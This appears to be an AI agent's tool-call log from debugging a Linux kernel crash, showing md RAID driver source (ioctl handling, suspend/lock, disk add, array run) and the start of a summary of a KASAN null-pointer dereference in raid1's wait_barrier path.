8348: struct mddev *mddev = NULL;
8349: bool suspend;
8350:
8351: err = md_ioctl_valid(cmd);
8352: if (err)
8353: return err;
8354:
8355: /*
8356: * Commands dealing with the RAID driver but not any
8357: * particular array:
8358: */
8359: if (cmd == RAID_VERSION)
8360: return get_version(argp);
8361:
8362: /*
8363: * Commands creating/starting a new array:
8364: */
8365:
8366: mddev = bdev->bd_disk->private_data;
8367:
8368: /* Some actions do not requires the mutex */
8369: switch (cmd) {
8370: case GET_ARRAY_INFO:
8371: if (!mddev->raid_disks && !mddev->external)
8372: return -ENODEV;
8373: return get_array_info(mddev, argp);
8374:
8375: case GET_DISK_INFO:
8376: if (!mddev->raid_disks && !mddev->external)
8377: return -ENODEV;
8378: return get_disk_info(mddev, argp);
8379:
8380: case SET_DISK_FAULTY:
8381: return set_disk_faulty(mddev, new_decode_dev(arg));
8382:
8383: case GET_BITMAP_FILE:
8384: return get_bitmap_file(mddev, argp);
8385: }
8386:
8387: if (cmd == STOP_ARRAY || cmd == STOP_ARRAY_RO) {
8388: /* Need to flush page cache, and ensure no-one else opens
8389: * and writes
8390: */
8391: err = mddev_set_closing_and_sync_blockdev(mddev, 1);
8392: if (err)
8393: return err;
8394: }
8395:
8396: if (!md_is_rdwr(mddev))
8397: flush_work(&mddev->sync_work);
8398:
8399: suspend = md_ioctl_need_suspend(cmd);
8400: err = suspend ? mddev_suspend_and_lock(mddev) : mddev_lock(mddev);
8401: if (err) {
8402: pr_debug("md: ioctl lock interrupted, reason %d, cmd %d\n",
8403: err, cmd);
8404: goto out;
8405: }
8406: if (suspend)
8407: noio_flags = memalloc_noio_save();
8408:
8409: if (cmd == SET_ARRAY_INFO) {
8410: err = __md_set_array_info(mddev, argp);
8411: goto unlock;
8412: }
8413:
8414: /*
8415: * Commands querying/configuring an existing array:
8416: */
8417: /* if we are not initialised yet, only ADD_NEW_DISK, STOP_ARRAY,
8418: * RUN_ARRAY, and GET_ and SET_BITMAP_FILE are allowed */
8419: if ((!mddev->raid_disks && !mddev->external)
8420: && cmd != ADD_NEW_DISK && cmd != STOP_ARRAY
8421: && cmd != RUN_ARRAY && cmd != SET_BITMAP_FILE
8422: && cmd != GET_BITMAP_FILE) {
8423: err = -ENODEV;
8424: goto unlock;
8425: }
8426:
8427: /*
8428: * Commands even a read-only array can execute:
8429: */
8430: switch (cmd) {
8431: case RESTART_ARRAY_RW:
8432: err = restart_array(mddev);
8433: goto unlock;
8434:
8435: case STOP_ARRAY:
8436: err = do_md_stop(mddev, 0);
8437: goto unlock;
8438:
8439: case STOP_ARRAY_RO:
8440: if (mddev->pers)
8441: err = md_set_readonly(mddev);
8442: goto unlock;
8443:
8444: case HOT_REMOVE_DISK:
8445: err = hot_remove_disk(mddev, new_decode_dev(arg));
8446: goto unlock;
8447:
8448: case ADD_NEW_DISK:
8449: /* We can support ADD_NEW_DISK on read-only arrays
8450: * only if we are re-adding a preexisting device.
8451: * So require mddev->pers and MD_DISK_SYNC.
8452: */
8453: if (mddev->pers) {
8454: mdu_disk_info_t info;
8455: if (copy_from_user(&info, argp, sizeof(info)))
8456: err = -EFAULT;
8457: else if (!(info.state & (1<<MD_DISK_SYNC)))
8458: /* Need to clear read-only for this */
8459: break;
8460: else
8461: err = md_add_new_disk(mddev, &info);
8462: goto unlock;
8463: }
8464: break;
8465: }
8466:
8467: /*
8468: * The remaining ioctls are changing the state of the
8469: * superblock, so we do not allow them on read-only arrays.
8470: */
8471: if (!md_is_rdwr(mddev) && mddev->pers) {
8472: if (mddev->ro != MD_AUTO_READ) {
8473: err = -EROFS;
8474: goto unlock;
8475: }
8476: mddev->ro = MD_RDWR;
8477: sysfs_notify_dirent_safe(mddev->sysfs_state);
8478: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
8479: /* mddev_unlock will wake thread */
8480: /* If a device failed while we were read-only, we
8481: * need to make sure the metadata is updated now.
8482: */
8483: if (test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags)) {
8484: mddev_unlock(mddev);
8485: wait_event(mddev->sb_wait,
8486: !test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags) &&
8487: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
8488: mddev_lock_nointr(mddev);
8489: }
8490: }
8491:
8492: switch (cmd) {
8493: case ADD_NEW_DISK:
8494: {
8495: mdu_disk_info_t info;
8496: if (copy_from_user(&info, argp, sizeof(info)))
8497: err = -EFAULT;
8498: else
8499: err = md_add_new_disk(mddev, &info);
8500: goto unlock;
8501: }
8502:
8503: case CLUSTERED_DISK_NACK:
8504: if (mddev_is_clustered(mddev))
8505: mddev->cluster_ops->new_disk_ack(mddev, false);
8506: else
8507: err = -EINVAL;
8508: goto unlock;
8509:
8510: case HOT_ADD_DISK:
8511: err = hot_add_disk(mddev, new_decode_dev(arg));
8512: goto unlock;
8513:
8514: case RUN_ARRAY:
8515: err = do_md_run(mddev);
8516: goto unlock;
8517:
8518: case SET_BITMAP_FILE:
8519: err = set_bitmap_file(mddev, (int)arg);
8520: goto unlock;
8521:
8522: default:
8523: err = -EINVAL;
8524: goto unlock;
8525: }
8526:
8527: unlock:
8528: if (mddev->hold_active == UNTIL_IOCTL &&
8529: err != -EINVAL)
8530: mddev->hold_active = 0;
8531:
8532: if (suspend) {
8533: memalloc_noio_restore(noio_flags);
8534: mddev_unlock_and_resume(mddev);
8535: } else {
8536: mddev_unlock(mddev);
8537: }
8538:
8539: out:
8540: if (cmd == STOP_ARRAY_RO || (err && cmd == STOP_ARRAY))
8541: clear_bit(MD_CLOSING, &mddev->flags);
8542: return err;
8543: }
SourceFile:drivers/md/md.c]
|
| 342/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 154959
output: 27
thoughts: 0
|
| 343/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_suspend_and_lock]
Results: map[SourceCode:1011: static inline int mddev_suspend_and_lock(struct mddev *mddev)
1012: {
1013: int ret;
1014:
1015: ret = mddev_suspend(mddev, true);
1016: if (ret)
1017: return ret;
1018:
1019: ret = mddev_lock(mddev);
1020: if (ret)
1021: mddev_resume(mddev);
1022:
1023: return ret;
1024: }
SourceFile:drivers/md/md.h]
|
| 344/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 155184
output: 23
thoughts: 0
|
| 345/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 461: /*
462: * Make sure no new requests are submitted to the device, and any requests that
463: * have been submitted are completely handled.
464: */
465: int mddev_suspend(struct mddev *mddev, bool interruptible)
466: {
467: int err = 0;
468:
469: /*
470: * hold reconfig_mutex to wait for normal io will deadlock, because
471: * other context can't update super_block, and normal io can rely on
472: * updating super_block.
473: */
474: lockdep_assert_not_held(&mddev->reconfig_mutex);
475:
476: if (interruptible)
477: err = mutex_lock_interruptible(&mddev->suspend_mutex);
478: else
479: mutex_lock(&mddev->suspend_mutex);
480: if (err)
481: return err;
482:
483: if (mddev->suspended) {
484: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
485: mutex_unlock(&mddev->suspend_mutex);
486: return 0;
487: }
488:
489: percpu_ref_kill(&mddev->active_io);
490:
491: /*
492: * RAID456 IO can sleep in wait_for_reshape while still holding an
493: * active_io reference. If reshape is already interrupted or frozen,
494: * wake those waiters so they can abort and drop the reference instead
495: * of deadlocking suspend.
496: */
497: if (mddev->pers && mddev->pers->prepare_suspend &&
498: reshape_interrupted(mddev))
499: mddev->pers->prepare_suspend(mddev);
500:
501: if (interruptible)
502: err = wait_event_interruptible(mddev->sb_wait,
503: percpu_ref_is_zero(&mddev->active_io));
504: else
505: wait_event(mddev->sb_wait,
506: percpu_ref_is_zero(&mddev->active_io));
507: if (err) {
508: percpu_ref_resurrect(&mddev->active_io);
509: mutex_unlock(&mddev->suspend_mutex);
510: return err;
511: }
512:
513: /*
514: * For raid456, io might be waiting for reshape to make progress,
515: * allow new reshape to start while waiting for io to be done to
516: * prevent deadlock.
517: */
518: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
519:
520: mutex_unlock(&mddev->suspend_mutex);
521: return 0;
522: }
SourceFile:drivers/md/md.c]
|
| 346/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 156144
output: 22
thoughts: 0
|
| 347/2 |
2026/08/26 10:50 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 709: static inline int __must_check mddev_lock(struct mddev *mddev)
710: {
711: int ret;
712:
713: ret = mutex_lock_interruptible(&mddev->reconfig_mutex);
714:
715: /* MD_DELETED is set in do_md_stop with reconfig_mutex.
716: * So check it here.
717: */
718: if (!ret && test_bit(MD_DELETED, &mddev->flags)) {
719: ret = -ENODEV;
720: mutex_unlock(&mddev->reconfig_mutex);
721: }
722:
723: return ret;
724: }
SourceFile:drivers/md/md.h]
|
| 348/2 |
2026/08/26 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 156418
output: 22
thoughts: 0
|
| 349/2 |
2026/08/26 10:50 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 915: void mddev_unlock(struct mddev *mddev)
916: {
917: struct md_rdev *rdev;
918: struct md_rdev *tmp;
919: LIST_HEAD(delete);
920:
921: if (!list_empty(&mddev->deleting))
922: list_splice_init(&mddev->deleting, &delete);
923:
924: if (mddev->to_remove) {
925: /* These cannot be removed under reconfig_mutex as
926: * an access to the files will try to take reconfig_mutex
927: * while holding the file unremovable, which leads to
928: * a deadlock.
929: * So hold set sysfs_active while the remove in happeing,
930: * and anything else which might set ->to_remove or my
931: * otherwise change the sysfs namespace will fail with
932: * -EBUSY if sysfs_active is still set.
933: * We set sysfs_active under reconfig_mutex and elsewhere
934: * test it under the same mutex to ensure its correct value
935: * is seen.
936: */
937: const struct attribute_group *to_remove = mddev->to_remove;
938: mddev->to_remove = NULL;
939: mddev->sysfs_active = 1;
940: mutex_unlock(&mddev->reconfig_mutex);
941:
942: if (mddev->kobj.sd) {
943: if (to_remove != &md_redundancy_group)
944: sysfs_remove_group(&mddev->kobj, to_remove);
945: if (mddev->pers == NULL ||
946: mddev->pers->sync_request == NULL) {
947: sysfs_remove_group(&mddev->kobj, &md_redundancy_group);
948: if (mddev->sysfs_action)
949: sysfs_put(mddev->sysfs_action);
950: if (mddev->sysfs_completed)
951: sysfs_put(mddev->sysfs_completed);
952: if (mddev->sysfs_degraded)
953: sysfs_put(mddev->sysfs_degraded);
954: mddev->sysfs_action = NULL;
955: mddev->sysfs_completed = NULL;
956: mddev->sysfs_degraded = NULL;
957: }
958: }
959: mddev->sysfs_active = 0;
960: } else
961: mutex_unlock(&mddev->reconfig_mutex);
962:
963: md_wakeup_thread(mddev->thread);
964: wake_up(&mddev->sb_wait);
965:
966: list_for_each_entry_safe(rdev, tmp, &delete, same_set) {
967: list_del_init(&rdev->same_set);
968: kobject_del(&rdev->kobj);
969: export_rdev(rdev);
970: }
971:
972: if (!legacy_async_del_gendisk) {
973: /*
974: * Call del_gendisk after release reconfig_mutex to avoid
975: * deadlock (e.g. call del_gendisk under the lock and an
976: * access to sysfs files waits the lock)
977: * And MD_DELETED is only used for md raid which is set in
978: * do_md_stop. dm raid only uses md_stop to stop. So dm raid
979: * doesn't need to check MD_DELETED when getting reconfig lock
980: */
981: if (test_bit(MD_DELETED, &mddev->flags) &&
982: !test_and_set_bit(MD_DO_DELETE, &mddev->flags)) {
983: kobject_del(&mddev->kobj);
984: del_gendisk(mddev->gendisk);
985: }
986: }
987: }
SourceFile:drivers/md/md.c]
|
| 350/2 |
2026/08/26 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 157693
output: 22
thoughts: 0
|
| 351/2 |
2026/08/26 10:50 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 547: void mddev_resume(struct mddev *mddev)
548: {
549: return __mddev_resume(mddev, true);
550: }
SourceFile:drivers/md/md.c]
|
| 352/2 |
2026/08/26 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 157800
output: 23
thoughts: 0
|
| 353/2 |
2026/08/26 10:50 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 525: static void __mddev_resume(struct mddev *mddev, bool recovery_needed)
526: {
527: lockdep_assert_not_held(&mddev->reconfig_mutex);
528:
529: mutex_lock(&mddev->suspend_mutex);
530: WRITE_ONCE(mddev->suspended, mddev->suspended - 1);
531: if (mddev->suspended) {
532: mutex_unlock(&mddev->suspend_mutex);
533: return;
534: }
535:
536: percpu_ref_resurrect(&mddev->active_io);
537: wake_up(&mddev->sb_wait);
538:
539: if (recovery_needed)
540: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
541: md_wakeup_thread(mddev->thread);
542: md_wakeup_thread(mddev->sync_thread); /* possibly kick off a reshape */
543:
544: mutex_unlock(&mddev->suspend_mutex);
545: }
SourceFile:drivers/md/md.c]
|
| 354/2 |
2026/08/26 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 158185
output: 26
thoughts: 0
|
| 355/2 |
2026/08/26 10:50 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_unlock_and_resume]
Results: map[SourceCode:1032: static inline void mddev_unlock_and_resume(struct mddev *mddev)
1033: {
1034: mddev_unlock(mddev);
1035: mddev_resume(mddev);
1036: }
SourceFile:drivers/md/md.h]
|
| 356/2 |
2026/08/26 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 158313
output: 23
thoughts: 0
|
| 357/2 |
2026/08/26 10:51 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 358/2 |
2026/08/26 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 158705
output: 25
thoughts: 0
|
| 359/2 |
2026/08/26 10:51 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_add_new_disk]
Results: map[SourceCode:7489: int md_add_new_disk(struct mddev *mddev, struct mdu_disk_info_s *info)
7490: {
7491: struct md_rdev *rdev;
7492: dev_t dev = MKDEV(info->major,info->minor);
7493:
7494: if (mddev_is_clustered(mddev) &&
7495: !(info->state & ((1 << MD_DISK_CLUSTER_ADD) | (1 << MD_DISK_CANDIDATE)))) {
7496: pr_warn("%s: Cannot add to clustered mddev.\n",
7497: mdname(mddev));
7498: return -EINVAL;
7499: }
7500:
7501: if (info->major != MAJOR(dev) || info->minor != MINOR(dev))
7502: return -EOVERFLOW;
7503:
7504: if (!mddev->raid_disks) {
7505: int err;
7506: /* expecting a device which has a superblock */
7507: rdev = md_import_device(dev, mddev->major_version, mddev->minor_version);
7508: if (IS_ERR(rdev)) {
7509: pr_warn("md: md_import_device returned %ld\n",
7510: PTR_ERR(rdev));
7511: return PTR_ERR(rdev);
7512: }
7513: if (!list_empty(&mddev->disks)) {
7514: struct md_rdev *rdev0
7515: = list_entry(mddev->disks.next,
7516: struct md_rdev, same_set);
7517: err = super_types[mddev->major_version]
7518: .load_super(rdev, rdev0, mddev->minor_version);
7519: if (err < 0) {
7520: pr_warn("md: %pg has different UUID to %pg\n",
7521: rdev->bdev,
7522: rdev0->bdev);
7523: export_rdev(rdev);
7524: return -EINVAL;
7525: }
7526: }
7527: err = bind_rdev_to_array(rdev, mddev);
7528: if (err)
7529: export_rdev(rdev);
7530: return err;
7531: }
7532:
7533: /*
7534: * md_add_new_disk can be used once the array is assembled
7535: * to add "hot spares". They must already have a superblock
7536: * written
7537: */
7538: if (mddev->pers) {
7539: int err;
7540: if (!mddev->pers->hot_add_disk) {
7541: pr_warn("%s: personality does not support diskops!\n",
7542: mdname(mddev));
7543: return -EINVAL;
7544: }
7545: if (mddev->persistent)
7546: rdev = md_import_device(dev, mddev->major_version,
7547: mddev->minor_version);
7548: else
7549: rdev = md_import_device(dev, -1, -1);
7550: if (IS_ERR(rdev)) {
7551: pr_warn("md: md_import_device returned %ld\n",
7552: PTR_ERR(rdev));
7553: return PTR_ERR(rdev);
7554: }
7555: /* set saved_raid_disk if appropriate */
7556: if (!mddev->persistent) {
7557: if (info->state & (1<<MD_DISK_SYNC) &&
7558: info->raid_disk < mddev->raid_disks) {
7559: rdev->raid_disk = info->raid_disk;
7560: clear_bit(Bitmap_sync, &rdev->flags);
7561: } else
7562: rdev->raid_disk = -1;
7563: rdev->saved_raid_disk = rdev->raid_disk;
7564: } else
7565: super_types[mddev->major_version].
7566: validate_super(mddev, NULL/*freshest*/, rdev);
7567: if ((info->state & (1<<MD_DISK_SYNC)) &&
7568: rdev->raid_disk != info->raid_disk) {
7569: /* This was a hot-add request, but events doesn't
7570: * match, so reject it.
7571: */
7572: export_rdev(rdev);
7573: return -EINVAL;
7574: }
7575:
7576: clear_bit(In_sync, &rdev->flags); /* just to be sure */
7577: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7578: set_bit(WriteMostly, &rdev->flags);
7579: else
7580: clear_bit(WriteMostly, &rdev->flags);
7581: if (info->state & (1<<MD_DISK_FAILFAST))
7582: set_bit(FailFast, &rdev->flags);
7583: else
7584: clear_bit(FailFast, &rdev->flags);
7585:
7586: if (info->state & (1<<MD_DISK_JOURNAL)) {
7587: struct md_rdev *rdev2;
7588: bool has_journal = false;
7589:
7590: /* make sure no existing journal disk */
7591: rdev_for_each(rdev2, mddev) {
7592: if (test_bit(Journal, &rdev2->flags)) {
7593: has_journal = true;
7594: break;
7595: }
7596: }
7597: if (has_journal || mddev->bitmap) {
7598: export_rdev(rdev);
7599: return -EBUSY;
7600: }
7601: set_bit(Journal, &rdev->flags);
7602: }
7603: /*
7604: * check whether the device shows up in other nodes
7605: */
7606: if (mddev_is_clustered(mddev)) {
7607: if (info->state & (1 << MD_DISK_CANDIDATE))
7608: set_bit(Candidate, &rdev->flags);
7609: else if (info->state & (1 << MD_DISK_CLUSTER_ADD)) {
7610: /* --add initiated by this node */
7611: err = mddev->cluster_ops->add_new_disk(mddev, rdev);
7612: if (err) {
7613: export_rdev(rdev);
7614: return err;
7615: }
7616: }
7617: }
7618:
7619: rdev->raid_disk = -1;
7620: err = bind_rdev_to_array(rdev, mddev);
7621:
7622: if (err)
7623: export_rdev(rdev);
7624:
7625: if (mddev_is_clustered(mddev)) {
7626: if (info->state & (1 << MD_DISK_CANDIDATE)) {
7627: if (!err) {
7628: err = mddev->cluster_ops->new_disk_ack(
7629: mddev, err == 0);
7630: if (err)
7631: md_kick_rdev_from_array(rdev);
7632: }
7633: } else {
7634: if (err)
7635: mddev->cluster_ops->add_new_disk_cancel(mddev);
7636: else
7637: err = add_bound_rdev(rdev);
7638: }
7639:
7640: } else if (!err)
7641: err = add_bound_rdev(rdev);
7642:
7643: return err;
7644: }
7645:
7646: /* otherwise, md_add_new_disk is only allowed
7647: * for major_version==0 superblocks
7648: */
7649: if (mddev->major_version != 0) {
7650: pr_warn("%s: ADD_NEW_DISK not supported\n", mdname(mddev));
7651: return -EINVAL;
7652: }
7653:
7654: if (!(info->state & (1<<MD_DISK_FAULTY))) {
7655: int err;
7656: rdev = md_import_device(dev, -1, 0);
7657: if (IS_ERR(rdev)) {
7658: pr_warn("md: error, md_import_device() returned %ld\n",
7659: PTR_ERR(rdev));
7660: return PTR_ERR(rdev);
7661: }
7662: rdev->desc_nr = info->number;
7663: if (info->raid_disk < mddev->raid_disks)
7664: rdev->raid_disk = info->raid_disk;
7665: else
7666: rdev->raid_disk = -1;
7667:
7668: if (rdev->raid_disk < mddev->raid_disks)
7669: if (info->state & (1<<MD_DISK_SYNC))
7670: set_bit(In_sync, &rdev->flags);
7671:
7672: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7673: set_bit(WriteMostly, &rdev->flags);
7674: if (info->state & (1<<MD_DISK_FAILFAST))
7675: set_bit(FailFast, &rdev->flags);
7676:
7677: if (!mddev->persistent) {
7678: pr_debug("md: nonpersistent superblock ...\n");
7679: rdev->sb_start = bdev_nr_sectors(rdev->bdev);
7680: } else
7681: rdev->sb_start = calc_dev_sboffset(rdev);
7682: rdev->sectors = rdev->sb_start;
7683:
7684: err = bind_rdev_to_array(rdev, mddev);
7685: if (err) {
7686: export_rdev(rdev);
7687: return err;
7688: }
7689: }
7690:
7691: return 0;
7692: }
SourceFile:drivers/md/md.c]
|
| 360/2 |
2026/08/26 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 161928
output: 21
thoughts: 0
|
| 361/2 |
2026/08/26 10:51 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:6650: int md_run(struct mddev *mddev)
6651: {
6652: int err;
6653: struct md_rdev *rdev;
6654: struct md_personality *pers;
6655:
6656: if (list_empty(&mddev->disks))
6657: /* cannot run an array with no devices.. */
6658: return -EINVAL;
6659:
6660: if (mddev->pers)
6661: return -EBUSY;
6662: /* Cannot run until previous stop completes properly */
6663: if (mddev->sysfs_active)
6664: return -EBUSY;
6665:
6666: /*
6667: * Analyze all RAID superblock(s)
6668: */
6669: if (!mddev->raid_disks) {
6670: if (!mddev->persistent)
6671: return -EINVAL;
6672: err = analyze_sbs(mddev);
6673: if (err)
6674: return -EINVAL;
6675: }
6676:
6677: if (mddev->level != LEVEL_NONE)
6678: request_module("md-level-%d", mddev->level);
6679: else if (mddev->clevel[0])
6680: request_module("md-%s", mddev->clevel);
6681:
6682: /*
6683: * Drop all container device buffers, from now on
6684: * the only valid external interface is through the md
6685: * device.
6686: */
6687: clear_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6688: rdev_for_each(rdev, mddev) {
6689: if (test_bit(Faulty, &rdev->flags))
6690: continue;
6691: sync_blockdev(rdev->bdev);
6692: invalidate_bdev(rdev->bdev);
6693: if (mddev->ro != MD_RDONLY && rdev_read_only(rdev)) {
6694: mddev->ro = MD_RDONLY;
6695: if (!mddev_is_dm(mddev))
6696: set_disk_ro(mddev->gendisk, 1);
6697: }
6698:
6699: if (rdev->sb_page)
6700: set_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6701:
6702: /* perform some consistency tests on the device.
6703: * We don't want the data to overlap the metadata,
6704: * Internal Bitmap issues have been handled elsewhere.
6705: */
6706: if (rdev->meta_bdev) {
6707: /* Nothing to check */;
6708: } else if (rdev->data_offset < rdev->sb_start) {
6709: if (mddev->dev_sectors &&
6710: rdev->data_offset + mddev->dev_sectors
6711: > rdev->sb_start) {
6712: pr_warn("md: %s: data overlaps metadata\n",
6713: mdname(mddev));
6714: return -EINVAL;
6715: }
6716: } else {
6717: if (rdev->sb_start + rdev->sb_size/512
6718: > rdev->data_offset) {
6719: pr_warn("md: %s: metadata overlaps data\n",
6720: mdname(mddev));
6721: return -EINVAL;
6722: }
6723: }
6724: sysfs_notify_dirent_safe(rdev->sysfs_state);
6725: }
6726:
6727: pers = get_pers(mddev->level, mddev->clevel);
6728: if (!pers)
6729: return -EINVAL;
6730: if (mddev->level != pers->head.id) {
6731: mddev->level = pers->head.id;
6732: mddev->new_level = pers->head.id;
6733: }
6734: strscpy(mddev->clevel, pers->head.name, sizeof(mddev->clevel));
6735:
6736: if (mddev->reshape_position != MaxSector &&
6737: pers->start_reshape == NULL) {
6738: /* This personality cannot handle reshaping... */
6739: put_pers(pers);
6740: return -EINVAL;
6741: }
6742:
6743: if (pers->sync_request) {
6744: /* Warn if this is a potentially silly
6745: * configuration.
6746: */
6747: struct md_rdev *rdev2;
6748: int warned = 0;
6749:
6750: rdev_for_each(rdev, mddev)
6751: rdev_for_each(rdev2, mddev) {
6752: if (rdev < rdev2 &&
6753: rdev->bdev->bd_disk ==
6754: rdev2->bdev->bd_disk) {
6755: pr_warn("%s: WARNING: %pg appears to be on the same physical disk as %pg.\n",
6756: mdname(mddev),
6757: rdev->bdev,
6758: rdev2->bdev);
6759: warned = 1;
6760: }
6761: }
6762:
6763: if (warned)
6764: pr_warn("True protection against single-disk failure might be compromised.\n");
6765: }
6766:
6767: /* dm-raid expect sync_thread to be frozen until resume */
6768: if (!mddev_is_dm(mddev))
6769: mddev->recovery = 0;
6770:
6771: /* may be over-ridden by personality */
6772: mddev->resync_max_sectors = mddev->dev_sectors;
6773:
6774: mddev->ok_start_degraded = start_dirty_degraded;
6775:
6776: if (start_readonly && md_is_rdwr(mddev))
6777: mddev->ro = MD_AUTO_READ; /* read-only, but switch on first write */
6778:
6779: err = pers->run(mddev);
6780: if (err)
6781: pr_warn("md: pers->run() failed ...\n");
6782: else if (pers->size(mddev, 0, 0) < mddev->array_sectors) {
6783: WARN_ONCE(!mddev->external_size,
6784: "%s: default size too small, but 'external_size' not in effect?\n",
6785: __func__);
6786: pr_warn("md: invalid array_size %llu > default size %llu\n",
6787: (unsigned long long)mddev->array_sectors / 2,
6788: (unsigned long long)pers->size(mddev, 0, 0) / 2);
6789: err = -EINVAL;
6790: }
6791: if (err == 0 && pers->sync_request &&
6792: (mddev->bitmap_info.file || mddev->bitmap_info.offset)) {
6793: err = md_bitmap_create(mddev);
6794: if (err)
6795: pr_warn("%s: failed to create bitmap (%d)\n",
6796: mdname(mddev), err);
6797: }
6798: if (err)
6799: goto bitmap_abort;
6800:
6801: if (mddev->bitmap_info.max_write_behind > 0) {
6802: bool create_pool = false;
6803:
6804: rdev_for_each(rdev, mddev) {
6805: if (test_bit(WriteMostly, &rdev->flags) &&
6806: rdev_init_serial(rdev))
6807: create_pool = true;
6808: }
6809: if (create_pool && mddev->serial_info_pool == NULL) {
6810: mddev->serial_info_pool =
6811: mempool_create_kmalloc_pool(NR_SERIAL_INFOS,
6812: sizeof(struct serial_info));
6813: if (!mddev->serial_info_pool) {
6814: err = -ENOMEM;
6815: goto bitmap_abort;
6816: }
6817: }
6818: }
6819:
6820: if (pers->sync_request) {
6821: if (mddev->kobj.sd &&
6822: sysfs_create_group(&mddev->kobj, &md_redundancy_group))
6823: pr_warn("md: cannot register extra attributes for %s\n",
6824: mdname(mddev));
6825: mddev->sysfs_action = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_action");
6826: mddev->sysfs_completed = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_completed");
6827: mddev->sysfs_degraded = sysfs_get_dirent_safe(mddev->kobj.sd, "degraded");
6828: } else if (mddev->ro == MD_AUTO_READ)
6829: mddev->ro = MD_RDWR;
6830:
6831: atomic_set(&mddev->max_corr_read_errors,
6832: MD_DEFAULT_MAX_CORRECTED_READ_ERRORS);
6833: mddev->safemode = 0;
6834: if (mddev_is_clustered(mddev))
6835: mddev->safemode_delay = 0;
6836: else
6837: mddev->safemode_delay = DEFAULT_SAFEMODE_DELAY;
6838: mddev->in_sync = 1;
6839: smp_wmb();
6840: spin_lock(&mddev->lock);
6841: mddev->pers = pers;
6842: spin_unlock(&mddev->lock);
6843: rdev_for_each(rdev, mddev)
6844: if (rdev->raid_disk >= 0)
6845: sysfs_link_rdev(mddev, rdev); /* failure here is OK */
6846:
6847: if (mddev->degraded && md_is_rdwr(mddev))
6848: /* This ensures that recovering status is reported immediately
6849: * via sysfs - until a lack of spares is confirmed.
6850: */
6851: set_bit(MD_RECOVERY_RECOVER, &mddev->recovery);
6852: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
6853:
6854: if (mddev->sb_flags)
6855: md_update_sb(mddev, 0);
6856:
6857: if (IS_ENABLED(CONFIG_MD_BITMAP) && !mddev->bitmap_info.file &&
6858: !mddev->bitmap_info.offset)
6859: md_bitmap_set_none(mddev);
6860:
6861: md_new_event();
6862: return 0;
6863:
6864: bitmap_abort:
6865: mddev_detach(mddev);
6866: if (mddev->private)
6867: pers->free(mddev, mddev->private);
6868: mddev->private = NULL;
6869: put_pers(pers);
6870: md_bitmap_destroy(mddev);
6871: return err;
6872: }
SourceFile:drivers/md/md.c]
|
| 362/2 |
2026/08/26 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 165499
output: 22
thoughts: 0
|
| 363/2 |
2026/08/26 10:51 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 364/2 |
2026/08/26 10:51 |
llm |
expert-compressor |
0m
Model:
Reply: ### Summary of Investigation
#### 1. Approaches Tried & Key Findings
- **Crash Analysis**:
- Trace: `_wait_barrier+0x8d/0x700` in `drivers/md/raid1.c:1066`, invoked via `wait_barrier` <- `raid1_write_request` <- `raid1_make_request` <- `md_handle_request` <- `submit_bio_noacct` <- `pwrite64`.
- Crash symptom: KASAN null-ptr-deref in range `0x0000000000000120-0x0000000000000127`.
